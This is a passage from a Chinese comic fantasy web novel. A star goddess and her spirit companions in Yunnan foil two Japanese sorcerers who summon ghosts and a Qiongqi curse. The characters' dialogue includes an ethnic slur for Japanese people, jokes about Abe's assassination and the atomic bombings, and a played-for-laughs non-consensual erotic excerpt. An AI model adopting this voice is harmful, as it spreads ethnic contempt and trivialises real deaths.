老板娘连连摇头:“不行不行,要吃去别家吃,不要在我们家吃。” 意思就是要死别死我家。 苏灵衣的眼神越发的哀怨:“我们写保证书,保证过敏了不讹你,行吗?” “真的不行嘎,太危险啦!”老板娘连连摇头,大概是苏灵衣的样子太可怜,连老板娘都不忍心强硬的拒绝他,选了一个退而求其次的方案:“我们家的抓饭也好吃的,你们要不要尝尝,你们这么多人,正好点一份。” 说着,老板娘展示了照片,饭有五种颜色:白的、黑的、紫的、黄的、红的。 菜有七种,分别是鬼鸡、炸洋芋、炸猪皮、辣子鸡、牛干巴、炭火烤肉,还有烤鱼。 饭和菜都用绿油油的芭蕉叶盛着,看起来很有趣。 老板娘努力游说:“你们先尝尝这个,要是吃完了还想吃,就再点漆油鸡,也免得你们饿着肚子坐在医院门口嘛。” 苏灵衣同意了,他又看见菜单上一种叫撒撇的东西,还写着“柠檬撒、苦撒”,苏灵衣不走寻常路,要点苦撒,结果老板娘跟他说:“要点苦撒,必须得喝高度白酒,不然不能吃。” “这还配货啊?”苏灵衣震惊了,在他认知里,这种买一样东西,必须搭售别的东西的行为,除了买爱马仕的包,就是在南京买鸭子的后腿了。 老板娘认真解释:“苦撒的蘸水用的是牛胃里没消化的草,还有苦肠里的苦水,还有生牛油做的。很苦,外地人吃不惯的,而且容易拉肚子,本地人吃苦撒都要配白酒的,杀菌。” “别吃啦,撒撇是芒市的,又不是这的特色,要吃去芒市,我请你吃。”苑雪大方开口。 老板娘进厨房开始做饭,道士跟着进了厨房,这里点菜随意的很,只要架子上有菜,可以随便要求老板娘自由搭配,他想看看还能搞点什么吃。 李寅寅看着苏灵衣:“你能长这么大,真不容易啊。” “怎么?”苏灵衣觉得自己很正常,点的不都是菜单上的食物么,又没有钻到山里自己拔蘑菇吃。 “你是怎么做到随便点两个,都是对外地人不友好的菜的?”李寅寅顿了顿,“幸好你没跟在神农身边,不然就算一百棵草里只有一个剧毒,也会被你选中,多少条命都不够使的。” 苏灵衣不服气:“总得有人知道那棵剧毒草是什么吧,牺牲我一个,幸福千万家。” 李寅寅竖起右手食指挡在唇前:“嘘,千万不要让地藏王听到了,不然,他发现你跟他的信念一样,非要让你当他的弟子怎么办。” “那我就当呗,当地藏王菩萨的弟子,是不是跟你的身份差不多了?”苏灵衣双眼放光,他知道有些宗门的和尚能结婚,和尚不是问题,问题是狐妖与天上的星宿差距太大,告白这种事,他连想都不敢想,生怕李寅寅嘲笑他,或是怀疑他想借关系飞升成仙。 李寅寅不知道他这一颗荡漾春心,纠结的要命,随口答道:“应该是吧,他差不多能成佛,自己放弃了。不过……” 苏灵衣正听得高兴,已经在盘算应该怎么跟地藏王菩萨搭上关系,求他收自己为弟子,然后选择能结婚的宗门,再向李寅寅告白。 结果,忽然又来了一个“不过”,他心里“戈登”了一下:“什么?” “不过没事找人管你干嘛?你要是跟地藏王菩萨,那你就是佛教的人了,要听他们的话,守他们的规矩,多没意思。” 苏灵衣惊讶地睁大眼睛:“可是你不也是天庭的人吗?” “严格来说,不是,在我走之前,天庭现在是道教的人在管,但我是先天神呀,在道统出现之前,对四极星君就有了呢~虽然我只是四极之一,但是,跟西王母、女娲、后土是一样的,与天庭的关系是听调不听宣……不然你以为我怎么能这么自由,不就是除了宇宙法则天道秩序之外,没人能管得了我。” 李寅寅给自己倒了杯茶:“能管你的麒麟都不知道上哪儿去了,你自由自在的有什么不好,非得给自己找个部门管着……你要是这么缺人管,我把你送到朱长乐那里,他们那边有个动物园。” “我才不去!”苏灵衣一颗热烈的心又凉了下来。 李寅寅笑道:“那我也可以严格规范宠物店的考勤嘛,精确到你上厕所要几分钟,一天能上几次,保证你充分享受到被人管着的体验。” “……我又不是想被人管着。” 李寅寅歪过头:“那你想干嘛?” 苑雪举手抢答:“这题我会,他要权!有权比只有钱更好!我要是有了权,就让所有人给我的寺庙捐款,修一个大大的庙!” 李寅寅笑道:“那他为什么要权呢?” 苑雪认真回答:“他要搞黄色!男女统吃!谁都不准拒绝他!” 苏灵衣的脸猛然涨得通红:“你胡说什么!” 李寅寅饶有兴味地问:“你为什么这么说?” “这是他在看的书,还让我看!”苑雪拿出手机,打开浏览器,递给李寅寅。 那是一本名叫《霸道狐王强制爱》的玄幻小说,内容是狐王与虎王平时生活在一个山头上,狐王总被虎王嘲笑他占着山头不搬走,就是想蹭虎族的名头,是狐假虎威。 一天虎王被天伤星打得奄奄一息,昏死在山中,差点被其他小妖欺辱,狐王把它带回自己的洞府,虎王醒来见着狐王,嘴上也不客气,气得狐王将它绑在床上,狐王自带魅惑信息素,熏得嘴硬的虎王也只能全身瘫软,任狐王肆意轻薄。 李寅寅一边看一边念出声: “虎王脸颊飞红,两片总是说话不饶人的嘴唇微张,不住喘息,一双虎目此时蓄满春水,可怜又可爱。它伸手想要推开狐王,手掌刚按在狐王胸口,便失了力气,不似强硬拒绝,更像情人间温柔的抚摸。狐王被它撩拨地心猿意马,哪里能忍得住,歪过头,一口咬在它的颈项最柔软之处,那股浓烈的魅惑气息让虎王刚刚升起的反抗之念,荡然无存,只能全身酥软躺在石床上,予取予求,身体在狐王的抚摸下,不住颤抖……哦哟~~~” “别念了!!!”苏灵衣的脸红到脖子。 李寅寅往后哐哐翻:“怎么虎王被狐王睡了七天七夜,就全文完啦?” “啊?不然还要什么?”苏灵衣困惑。 “虎王被欺负得这么惨,一点都不想打回去吗?就算是狐王给治伤了,那也是违背虎王意志了啊,就算不把狐王打死,也得打个半死吧,再差再差,也得睡回去吧!哎?这虎王没说是男的还是女的……我看看……怎么都没有是言情还是耽美的分类?” 苏灵衣哼哼唧唧,声音像蚊子哼:“说不定是百合呢。” 李寅寅恍然大悟:“也对,我记得不少男人爱看百合,幻想妻妾和谐,自己看着看着,然后就加入。噫……看不出来啊,你竟然好这口。” “我……”苏灵衣想为自己辩解,道士已经兴冲冲地从厨房出来了:“我刚才炒了一个地三鲜,炖了一条鱼!你们都尝尝我的手艺!” 有人类出现,苏灵衣只得把话憋了回去。 菜端上来了,忽然隔壁桌有人说:“道士还吃肉啊?” 李寅寅转头,看见了熟悉的几张脸,是日本投资考察团。 正要找他们,没想到在这小店里狭路相逢。 他们打扮得很普通,说话的人更是普通话非常标准,一丁点“大佐”味儿都没有。 道士不知道他们是什么人,回答道:“道士不吃牛肉、狗肉、乌鱼肉和大雁肉,其他肉,我们也是能吃的。” 正说着,老板娘端着一盘菜来了,一边上菜一边报名:“芹菜炒牛肉碎。” 那桌人笑出声。 李寅寅开口道:“怎么?我点的这道菜,很好笑吗?” “道士不是不吃牛肉么?你怎么还点?” 李寅寅:“他不吃,跟我有什么关系,难道就因为我跟他坐在一张桌子上,我也不能吃?” 道士微笑:“我道门中的规矩是约束自己的,不是要求别人的。” “就是!我只吃素,你们还不是在我面前吃肉!”苑雪大声说。 隔壁桌的人一笑:“对不起,我们只是好奇,并无恶意。” 两桌都安静下来,专心吃饭,正吃着,李寅寅看见隔壁桌一个九菊一派的老者用左手在空气中点点画画,是一个八卦图,只是排列顺序与中国的先天八卦和后天八卦都不一样。 死门正对着李寅寅他们这一桌。 接着老者口中念念有词,在普通人眼中,他就是对着食物蒸腾上去的水汽在蠕动着嘴皮子。 李寅寅却看见那个八卦图的死门,缓缓吐出黑色的烟气。 随着黑色烟气的升腾,隐隐出现凄厉的鬼哭声,烟气向李寅寅这边飘来,在烟气中,隐隐现出一带血的手臂,一只眼睛吊在自己面颊上的头颅,还有沾满鲜血的利齿。 烟气慢慢布满房间,那些厉鬼显出了完整的身形,其中一个长着黝黑尖指甲的男鬼伸手向道士的后颈抓去,如果被厉鬼钻进头顶百会,轻则人的元神被重伤,重则会被夺舍,从此身体被这厉鬼占有。 道士忽然掐住自己的喉咙,把苑雪吓了一跳:“怎么了?” “鱼刺……卡住喉咙了……老板娘,拿点醋……” 苑雪拿起筷子:“你别动!我看看……看到了,我给你夹出来!” “别闹。” “没闹,我筷子使得可好了!” 苑雪不由分说,捏着道士的下巴,把筷子伸进道士嘴里夹鱼刺。 与此同时,男鬼的手也按在了道士的头顶上。 “滋~~~”男鬼瞬间被一道白光溶解,他连惨叫声都没有来得及发出,就消失的无影无踪了。 “好了!拿出来了。”苑雪得意地夹着鱼刺在道士面前晃来晃去炫耀。 九菊一派的两人神色凝重,他们知道苑雪是鹿妖,也知道她法力低微,绝不可能与他们召唤出的厉鬼匹敌……难道,竟是看走了眼? 年轻的术士手指微动,催促一个生着利齿的恶鬼向离道士最近的苏灵衣袭击,这么丑的狐妖,绝不可能是有大修为的! 鱼刺去除,道士松了一口气,端起杯子大大喝了一口水,喝得太急,呛着了,他急忙转头,有些水喷到身旁的苏灵衣背后。 利齿恶鬼竟被这么一口温水喷得像挨了镪水一般,全身都是窟窿,很快消散了。 年轻术士双眼圆睁,不可能!绝对不可能! 这道士,分明没有任何法力,他最多能感觉到厉鬼带来的威压,绝不可能这样轻易的将修罗道中的恶鬼除掉。 其实他们并不知道刚才两次到底是怎么回事,只是刚好苑雪和道士两人有所动作。 如果,不是他俩的话,还会是谁? 两人的目光,不约而同的落在苏灵衣的身上。 从这只丑狐妖的毛色来看,他应该活了六千余年。 正常情况下,他应该已经是可以呼风唤雨的大能,他们一召唤出厉鬼,人就可以轻松把他们碾压至死。 两人也探出了苏灵衣的法力,稀松平常,不像修炼了六千多年的样子。 什么狐妖会活了六千多年,却好像只认真修炼了两百多年?还有五千多年干嘛去了? 他们正想再试苏灵衣,李寅寅却招呼老板娘:“吃好啦!结账!” 没等他们再结法阵,四人就已经走到街上去了,有一辆面包车老板热情邀请他们上车。 年轻术士恭敬地向老者请示:“师父,我们追出去?” “不着急……他们今天晚上也住在秋那桶,我们有的是机会。” 背对着门口的年轻术士眼露崇拜之色:“师父果然法力高深,连他们今晚想住在哪里都知道。” 老者高深莫测地露出微笑,没有说话。 那辆面包车挂着一个大大的牌子: 县城——秋那桶,每人十元 70-80 第71章 穷奇 秋那桶不大,但是住在里面的民族不少,往下是独龙江,往上是西藏,所以,这里独龙族、藏族、傈僳族的人都有,世代通婚。 李寅寅他们住在村长家的小屋里,已经有几个人围在火塘边烤火,他们打算明天从这里往上走到林芝去。 他们从梅里雪山过来,都在抱怨: “我是打听好现在是旱季才来的,我同事说到了十一月,天天看日照金山。谁知道,居然连下了五天的雨,我好不容易请的年假,全泡汤了。” “我也是啊,谁让我们倒霉,遇上了日本人。” 李寅寅好奇地搭话:“日本人怎么了?” “啊?你不知道吗?梅里雪山讨厌日本人,只要山下有日本人,就永远云遮雾罩,看不到日照金山。” “我也是这么听说的,前几年有几个日本人特别有毅力,七八月在雪山下面等了两个月,那段时间来的人,全都没看到。” 两人抱怨了一会儿,又说起明天早上想早起拍雾里村的晨曦,商量了一会儿,决定四点钟起床。 “或许明天会下雨,”李寅寅提醒道,“隔壁也住了几个日本人。” “呕……”两人沮丧地发出叹气,“不要啊,我的年假……” 今晚是朔日,天上没有月亮。 晚上的星空格外清晰,散落在各家各户里的游客都出来看星星了。 星星始终在人类的头顶闪烁,只是在城市那种光污染极其严重的地方,也就只能看到几颗零等星,北斗七星都很难看齐全,硬是变成了“传说中的”北斗七星。 其中一人的装备极为专业,手里拎着一个大行李箱,箱子里一格一格的被防撞海绵分隔,装着几个镜头。 别人都绕着他走,生怕不小心磕着碰着。 还有人跟他开玩笑:“你要是跟这箱子一起掉水里,先救谁?” 那人斩钉截铁回答:“救它,我会游泳!这箱子值三十万!” 他拍了几张照片,十分遗憾:“可惜银河夏天才有,现在一点都看不到。” 有几个年轻姑娘好奇地猜测天上那么多星星都是哪个星座的:“好多星星啊,古代人是怎么把他们想象成什么动物的。” “就是,我是白羊座的,我还以为是一只羊的形状呢,结果,就三颗星,到底哪里像羊啦!” 有一个男人背着手,溜跶过来,跟她们搭话:“现在星星的位置跟以前的星星位置是不一样的,地轴有过倾斜,还有的星星衰老死掉了,我们已经看不到它们的光芒,所以也无法理解古人到底看见了什么。” 一个少女好奇道:“地轴为什么倾斜啊?” “应该是陨石撞的吧,在先秦时期的典籍里,都有记载天塌西北,地陷东南,然后是女娲补天的传说,其实,女娲补天不是真的补天,而是通过星星所在的新位置,重新计算历法。” “噢~~~”年轻姑娘们觉得他懂得好多。 大概有姑娘们热情的目光,让他觉得自己有必要多教这些姑娘们一些东西。 他又指着天空:“那边是中国二十八宿中的西方白虎星天。” 李寅寅听到了熟悉的词,不由也转过头来。 “以前四极星空都是垂在地平线上的,地轴倾斜以后,我们能看见的也是歪的。” 他继续指指点点:“那一片是昴宿星团,亮的那个是天狼星,上面的是毕宿五。” 前面他讲神话传说的时候,李寅寅觉得他说得还挺有意思,直到他说到了李寅寅的专业领域。 那人连错了三个之后,李寅寅忍无可忍:“其实……参宿现在还在地平线以下,那个位置现在是井宿。” “不可能!”男人非常自信,“我可是专业研究天文好多年的,绝对比你懂。” 他似乎还好心想替李寅寅找补找补: “你是不是用星图软件看的?没更新吧,那个经常不准的,我看星星好多年了,月份不一样,星宿升起来的时间也不一样。看,这是我拍的星空。” 说着,他打开相机里拍的照片,有银河,有慧星。 在前景什么都没有的时候,发挥相对稳定。 当地面上有块石头,他的焦就对到石头上了,都没打算调一下。 “我在世界各地都拍过星星,不仅是不同月份升起来的星星不一样,南半球和北半球能看到的星星也不一样,像在中国就绝对看不到这个!” 照片里是南十字星座。 李寅寅摸摸鼻子:“它只是在北京看不到,在海南和云南都能看到。” 男人挂不住面子,扯了几句其他的,便走了。 苏灵衣低声道:“何必理他?他就是想吹牛让人捧捧他。” “他把天狼星划给我,我很高兴。但他刚才把我的参宿和昴宿划给朱雀,我很不开心。”做为天命里就有开疆拓土之责的星君,李寅寅在血脉里就领域意识极强,别人的领土和人可以给她,反过来,属于她的一点不能划给别人,哪怕是开玩笑都不行。 还有一个更重要的原因:那个男人在李寅寅面前说他更懂天文星空,这种轻蔑的态度,让李寅寅非常不爽,她可不是走宰相肚里能撑船,相逢一笑泯恩仇路线的,那种事情让青龙来就好了。 有人从村子后面的坡子上下来:“上面有户人家结婚,可热闹咧,你们要不要去看看?” 一听说有婚礼,一众人“忽”地全往那个方向跑了。 听说新娘是傈僳族的,新郎是藏族的,这边大声合唱着傈僳语的歌,那边一群人围着火堆,跳着藏族的锅庄,热闹非常。 进门的不管是家里亲戚还是村中邻居,或是凑热闹的游客,都会被人热情地塞上一杯玉米酒:“没事,就是甜水!” 李寅寅在火堆旁又看见了那两个九菊一派的术士,他们混迹在普通游客中间,学着跳锅庄。 “看着就讨厌。”李寅寅嘀咕。 术士也看到了李寅寅,交头接耳不知道在说什么。 李寅寅对苏灵衣说:“不会是被我强大的法力震慑,他们要跑吧?” “我看肯定是的。”苏灵衣十分捧场。 下一刻,苏灵衣就被投资团的其他人热情拉走,参加跳锅庄,他本不想去,李寅寅冲他使了个眼色:去吧,要是他们敢对你做什么,我会来救你的! 那两个术士一左一右地站在李寅寅身边,好像他们只是跳累了,站在一边休息。 年长的术士对李寅寅说:“真热闹啊,少数民族的婚礼太有意思了。” “嗯。”李寅寅不知他想干什么,随口应了一句。 虽然李寅寅的回答很冷漠,但是年长的术士依旧热情满满:“在云南其他地方,也有邀请陌生人到家里来吃饭的,我们上次在诺邓,路过一户人家敞着门吃晚饭,他们就请我们进去了,一桌子的好酒好菜,红亮亮的火腿真香,比市区里卖得好吃多了……” 在年长术士东拉西扯的时候,年轻术士的双手在暗中结印,嘴唇不住翕动。 他的右脚与年长术士的左脚在悄悄划符,两人极有默契,一左一右,硬是画出了一个圆形的咒纹。 当李寅寅看见他们画的是什么时候,她的内心十分复杂。 他俩画的是穷奇咒。 穷奇是与饕餮并称上古四凶兽之一的存在,性情凶狠,最爱吃好人,被穷奇盯上的好人,晚上会做恶梦,灵魂会因此受惊,人可能会变成痴呆,或是被他们控制,成为傀儡。 咒纹画得很好,很标准,没有一点问题。 只是李寅寅不明白,为什么这两个九菊一派的人,就认定了她是好人,虽然,她确实是站在这里看热闹,而不是在监狱里踩缝纫机……但是……这岂不是还有一种可能:她是一个超级大坏蛋,有小弟帮忙顶罪,有超牛逼的保护伞吗? 画什么不好,偏偏画穷奇纹。 穷奇对坏人非常谦恭、客气,就像大猫一样听话,还会听坏人的驱使。 也就是说,哪怕李寅寅是个普通凡人,只要她是坏人,也能让穷奇为己所用,比如让穷奇“把召唤出你的人吃掉”,穷奇会高高兴兴地回头咬死他们。 这两个蠢货就不怕被自己画的穷奇纹反噬吗? 李寅寅内心充满嫌弃,啧,这年头,就连反派组织里脑子清醒的成员都不多了。 她想起黄少芸追的柯南,一千多集了,酒厂至今没把柯南干掉……这不是作者故意拖剧情,而是无情的社会现实啊!琴酒一定也很痛苦吧! 她本以为苏灵衣也会遭到同样对待,便对向苏灵衣的方向张望。 结果,那两个拉走他的人,真的就是纯洁地拉着他在跳锅庄,没有下咒,没有画符,没有企图使用傀儡术…… 李寅寅陡然反应过来,他们以为苏灵衣是能力强大的守护者,把他弄走,自己这个无依无靠的凡人就只能任由他们摆布,在她身上下咒,让苏灵衣慌乱着急。 李寅寅昂头望天,天上闪烁的青龙七宿一闪一闪亮晶晶,好像在嘲笑她被区区凡人轻视了。 可恶。 如果李寅寅内心的吐槽具像化,那么,整个村子都要被她的疯狂弹幕挡得什么都看不见。 现在她也懒得摆什么好脸色,在旁人眼中,她就是满脸写着不高兴,望着苏灵衣的方向。 两个术士完全没有觉得任何不对劲。 那只狐狸的原形虽然丑,但是,人形是好看的,符合当下大众审美。 凡人女**上他非常正常。 现在他一个人去跳锅庄,而把这个女人扔在一边,女人不高兴也很合理。 年长的术士笑道:“年轻人就是精力旺盛,跳这么久都不嫌累。” 苏灵衣不是不嫌累,是他不知道李寅寅的目的达成没有,李寅寅不让他回来,他不敢回来,怕打乱了她的部署。 直到李寅寅感觉到年轻术士的手脚终于停下,该画的都画完之后,她才示意苏灵衣可以回来了。 苏灵衣如蒙大赦,趁着一曲结束,赶紧跑回来,嘴上还说几句:“哎,不知不觉就忘了时间了。” 李寅寅“哼”了一声,什么都没说,转头就往村长家走。 苏灵衣急忙追上去:“又怎么啦?怎么又生气啦?气什么啊?不是你让我去的嘛……” 听起来就像一个无奈的男朋友在追哄耍小脾气的女朋友。 年轻术士笑出声:“女人真是不可理喻的动物,连狐妖都不知道她在想什么。” 年长术士冷笑:“还是它修行不够,若是九尾或是赤狐,怎么会不能拿捏人心?玉藻前若是像他这样,又如何迷惑得住鸟羽天皇,又何需安倍泰亲才能镇压。” 年轻术士笑道:“玉藻前所化的杀生石裂开,也许是为了来中国指点这个不长进的后辈。” 年长术士不屑地撇撇嘴:“长那么丑,足见没天赋,玉藻前亲临也帮不了他。” 这些话一字不漏的传到李寅寅和苏灵衣的耳朵里,苏灵衣一直对自己的外貌感到自卑,与李寅寅等人相处时,从没有人嘲笑过他的长相,但他心里还是很介意的。 如今又被人提起,他的心里十分难过。 他走在李寅寅的身后,一声没吭,好像只是在埋头走路。 李寅寅忽然开口:“他们国家那个玉藻前,不就是抄我们国家的妲己么,有什么了不起的,要是真有本事,也不会出来找安倍后人报仇,结果杀到跟安倍泰亲一毛钱关系都没有的那个晋三身上了,安倍家后人改姓仓桥和土御门了,她都不知道,废物一个,脑子打了除皱针,这都能让他们自主上了,小鬼子撒的尿都是亚光的。” 前面听李寅寅叨叨了那么多,苏灵衣没说什么,最后一句,他忍不住问:“尿是亚光的是什么意思?” 李寅寅嘿嘿一笑:“就照不出自己啦。” 这句话把惆怅的苏灵衣给逗笑了。 李寅寅搂着他的肩膀,顺手捏住他的耳朵:“我觉得你很可爱,你什么反应都没有,别人说你丑,你就放在心上。你是不是看不起我?!” “不是不是,绝对不是!”苏灵衣指天发誓。 李寅寅一手摸着他的耳朵:“你向我保证,以后不会把这种愚蠢的话放在心上,不然我就把这句话钉在你的耳朵上。” “我保证。” 李寅寅笑嘻嘻:“这才对嘛!蠢货才只看外表呢!” 他们住的小屋是在村长名下的一块平台上,周围并没有其他人居住。 “来来来,都向我看齐~”李寅寅一回去,就对留在屋里的道士和苑雪挥手:“我,身负穷奇咒、伏妖咒……凌晨三点半准时发作。你们要不现在找个地方躲躲?” “什么?!”道士震惊,他虽然没什么真本事,但是,穷奇咒和伏妖咒是听说过的,如果落在同一个人身上,她会被施咒之人控制,对于妖来说,她就像一个行走的黑寡妇……衣服下面藏着**的那种。 妖要吸人的生气,就会凑过来,然后……被撕碎,成为滋养下咒之人的养料。 被控制的人也会受到极大的损伤,等诱过几次妖之后,人就会因为灵魂被压制太久,而彻底变成白痴,只能继续做傀儡。 “太阴毒了,有损天道啊!”道士直皱眉。 李寅寅无所谓地笑笑:“哎,九菊一派就是这样的啦,你又不是第一次知道。宫崎的八纮一宇塔用了中国的238块石头,可不是真的为了和平。不过他们的业务能力不行,弄过去的石头里有四块来自南京,冤气冲天,塔刚修好,他们的国运就下跌,严重到第二年要冒险偷袭珍珠港,然后喜迎胖子和小男孩。” 她顿了顿,嫌弃地吐槽:“我就说他们水平很垃圾……果然就没好过。好了,你们要走吗?” “不行,我们走了,你不是死定了吗?!”道士非常讲义气,同时又超级自信,“我有净魔咒!可降一切妖魔鬼怪!” “我也不走。”苑雪小小声说。 她不是相信道士,是相信李寅寅。 她是一个胆子小得要命,又喜欢找刺激的怪家伙,以前看恐怖片,她都要在村子里找十几个胆子贼大的人陪她一起看,这样刺激有了,恐怖片也看了。 今天晚上,她相信一定比恐怖片还刺激。 “哦,那你们就不走了?”李寅寅问道。 三人点头。 李寅寅说:“既然如此,先睡觉吧。” 苑雪很兴奋地掏出手机:“那我定个三点的闹钟?” “定闹钟干嘛,到时候你们会被吵醒的。” “噢。”苑雪乖乖躺下。 时间一分一秒的过去,到了三点三十五的时候,从九菊一派的两个术士屋里,蹿出一道黄光,那黄光形如老虎,正是上古四凶之的穷奇精魄,它循着穷奇咒的指引,向李寅寅所在的屋子飞来。 屋子里的人都醒着,苑雪没定闹钟,但是她一直没睡着,太激动了,当她的手机跳到三点三十的时候,她就开始频频发问:“怎么还不来啊?” “是不是迟到啦?” “法术为什么也能迟到啊?” “是不是不来啦?” “什么时候来啊?” …… 不到五分钟,她问了十几次。 问得李寅寅都烦了,苏灵衣耐心地给她解释,关于开始念咒的时间和咒术起效之间的时间差问题,苑雪很失落:“他们就不能提早五分钟起床吗?一点素质都没有。” 李寅寅笑道:“他们本来就是坏人,坏人怎么会有素质。” “电视剧里的大坏人都很有素质的。”苑雪气哼哼,“他们只配当炮灰。” 当窗外亮起黄色光芒的时候,刚才还心情轻松的苑雪终于感觉到了凶兽的威压,她心跳加快,就像她还是一只普通小鹿的时候,遇到虎豹那样的大型掠食动物时的感觉,惊恐让她喘不上气,甚至连人形都无法维持了。 苏灵衣一眼瞥见她露在被子外面的双脚变成了鹿蹄,生怕她在道士面前露了原形,忙握住她的手腕,将自己的灵息从她的命门中传过去,一双鹿蹄才慢慢变回人脚。 道士也感觉到了穷奇的压力,他拿出净魔符,那是他用朱砂在神像前,虔诚地一笔一画画下来的。 他曾用过几次,降妖伏鬼,功效惊人。 净魔符感受到穷奇的存在,无风自动,不住升温,几乎烫手。 道士被烫的拿不住,下意识将净魔符撒出去。 黄纸在碰到黄光的瞬间,便消失地无影无踪,黄光依旧明亮。 道士大惊,他使用的时候,情况都是反过来的,只要碰一碰妖鬼,它们就消失无踪。 黄纸不能伤到穷奇分毫,却成功激怒了它。 原本黄光只在屋外转圈,现在,它猛然冲了进来,变成一只生着翅膀的黄色的巨虎,这就是穷奇精魄的本相,它在空中慢慢踱步,眼神凶狠地扫视周围。 接着,它的眼睛锁定了刚刚向它扔出净魔咒的道士。 它昂首向天怒吼,这是穷奇惯常作法,先震慑猎物,将其震得心胆俱碎再慢慢享用。 紧接着,它猛然扑下,利爪距离道士的头顶不足两公分,只要再向前一点,道士的天灵盖就会被打得粉碎。 李寅寅厉喝一声:“放肆!” 穷奇仿佛这才注意到李寅寅的存在,它高傲地转过头,与李寅寅的眼神相遇,瞬间就蔫了,飞也似地蹿出房间。 穷奇,是西方天帝少昊的不肖子,少昊的神格在千年变动中,慢慢消散,李寅寅将他仅存的一点神格吞下,代掌西方天帝职权。 从某种方面来说,李寅寅是穷奇的祖宗。 在中国这片土地上,再如何不肖的后人,对祖宗还是有那么几分畏惧的。 突生巨变,道士懵了:“它……怎么走了?不是,中了穷奇咒的不是你吗?它为什么冲着我来了?” “可能因为我对它毫无威胁,它要先去掉强敌,然后再附身于我。”李寅寅高深莫测:“它必须走,天道法循环,万物归自然,世间生灵皆要遵法而行,违者,必受其咎。” 半吊子道士背上出汗,眼前这个年轻女子,说话这么高深,莫非,她是真人不露相?! 他虚心求教:“我还是不明白,穷奇是违了哪条法则?” “《中华人民共和国环境噪声污染防治法》。”李寅寅一本正经回答。 道士懵了:“啊??” 李寅寅拿出手机,调出绘有国徽的法条,念道:“一类标准,适用于居住区域,夜间噪音不得超过45分贝,刚才已经超过70分贝了!要不是布了结界,这山上山下的人早就被吵醒了。” 道士惊讶:“什么时候布的结界?我怎么不知道?” 李寅寅一指苏灵衣:“他布的!” “我?啊……对,是我!那个……其实我没法力,不过我有个隔音符,以前在茅山求来的,刚你们都在睡觉的时候,我拿出去烧了,没想到真的有用。”苏灵衣虽然不知道发生了什么,不过李寅寅说是他布的,那就是他布的。 单凭一个噪音污染法,就吓退了穷奇,道士是根本不信的。 李寅寅给了苏灵衣一个眼神,苏大师解释关于法律的立法基础和依据是宪法,而宪法是国家的根本法,是治国安邦的总章程,代表着国家尊严,保障着国家权力有序运行。 苏灵衣最后总结:“简单来说,法律就是国运的组成部分,要是世道无法无天,还谈什么国运。” 道士疑惑:“所以,如果它刚才不吼那一嗓子,它就能杀了我们?” 苏灵衣都觉得自己编不下去了,但是看着李寅寅一副镇定的模样,他也只能继续装懂王,重重点头:“是的。如果你看过老抗日片,里面的日本鬼子都说,悄悄的进庄,打枪的不要。就是这个道理。” 道士觉得自己好像悟了,他想了想,又问:“那两个九菊一派的术士会怎么样?” 李寅寅:“要么他们被穷奇反噬吃掉,要么他们就要来找我们决一死战。” 穷奇只是精魄,她连出手都不用,可保众人无虞。 九菊一派的那两个活人,不知道是不是还藏着什么下流的手段,这次她是真的想让他们三个避一避,特别是道士。 刚才的净魔咒,应该是他所有家当里最强有力的武器了。 不过,距离能对付九菊一派的法术还有相当一段距离。 李寅寅正在想怎么把道士弄走,他却忽然站起来,整了整道袍,昂首挺胸:“我在华夏的土地上,有国运护佑,区区两个日本术士,能奈我何!” 他俯视三人:“一会儿你们都躲到后面去,我来对付他们!” 苑雪被他不自量力的精神震撼,大张着嘴,想说点什么,李寅寅对她轻轻地摇了摇头。 夫战,勇气也。 李寅寅素来敬重有勇气的人,哪怕是自不量力,试图以凡人之躯比肩神明,她也不会泼他冷水,凉了他的心。 李寅寅笑道:“好,到时候我们绝不拖你后腿!” 第72章 归藏阵 夜空,夜色温柔如水。 星斗,星斗璀璨耀眼。 星光之下,夜色朦胧,村中灯火已灭,山峦之巅,分立两人,身如苍松翠竹。 “你来了。” “我来了。” “你不该来的。” “但是我已经来了。” “拔你的剑。” “剑在心中。” …… 然后就哐哐的打,呼呼的飞,哎嘛~那才是李寅寅心中多年追求的高手过招意境。 毕竟她这么多年都是手一挥,不是大军嗷嗷往前冲,就是半夜鬼鬼祟祟去偷袭,或是悄悄咪咪看着偷袭的人来再反手给他一下子。 赢是赢了,就是气势不够,逼格不足。 李寅寅看不起黄少芸看的那些哼哼唧唧恋爱剧情,可是她超爱各种装逼桥段,不管是私访的皇帝抖身份,还是赌神踩着BGM出场,就连出场五分钟就断气的陈近南总舵主,那也是帅的啊! 今日这两个九菊一派的术士,能绘制穷奇纹,召唤凶兽精魄,怎么着也应该是玄之又玄,高深莫测,神神叨叨的选手吧。这样她也可以跟着说点什么,实现看片中毒后的一点小小梦想。 然而,站在李寅寅面前的两个术士,实在是让李寅寅的梦想碎了一地。 年轻术士衣着破烂,年长术士脸上有一个大牙印,从造型上来说,完全不是重要反派应有的形象。 他俩并非自以为是,没有真本领的蠢货,只不过凶兽即出必见血,否则会反噬其主,两人哪能想到两个人类和两只无能小动物的组合这么逆天,竟会让穷奇无功而返,反噬召唤者,他俩一时反应不及,被自己放出去的穷奇偷袭,才会应对的如此狼狈。 在两人面前各站着八只半人高的木头小人,说是木头小人完全是抬举它们了,其实就是一个粗一点的木头,在四肢的位置戳了四根细一点的木头,连个头都没有,更别提五官和衣服。 “就这么两根细腿,居然能站得住!”道士惊呼。 苑雪困惑地看着他:“有线系着的啊。” 那么粗的四条红绳,一头系在木头人的四肢上,另一头牵在那两个术士的手中,足够支撑了。 苏灵衣和李寅寅自然也能看见,整个屋里,就道士看不见。 “……让他上真的好吗……这不是送死吗?要不我们让他退后?”苏灵衣看着李寅寅。 李寅寅给他一个眼神:“要是今天他死在这,那我也别混了!” 道士浑然不知在自己背后发生了怎样的讨论,只听见苑雪说有线系着,就想起了城市里摆地摊的骗术——跳舞小人,简陋程度跟这四个木头小人有一拼,也是会在地上自己动,但是仔细观察摆摊人的手,就会看见摊主的手指藏在隐蔽的地方操纵着透明线。 嗐,还以为有多厉害,原来就是街头骗子的水平啊。 刚才那个满屋子乱蹿的黄光,说不定是全息投影特效,初音未来都能开演唱会了,日本人的全息投影技术说不定真的很厉害。 对面不是真本事,他手里的符可是真本事! 想到这里,道士原本心里的那点胆怯一扫而空,充满自信! 他唯一不理解的是,不是说日本人很有工匠精神吗? 那些等身手办做得跟真人似的,要脸蛋有脸蛋,要身材有身材,怎么专程来一趟中国搞事情,连弄个好一点的娃娃都舍不得吗! 难道,他们买不起? 这一点,道士可是冤枉他们了,九菊一派的傀儡术从来都不是操纵木偶,而是操纵真正的尸体。 尸体不仅在视觉层面够吓人,还自带伦理属性和毒物属性,让人难以应对。 无奈中国执行火化政策执行的太到位了,骨灰完全没办法操纵。 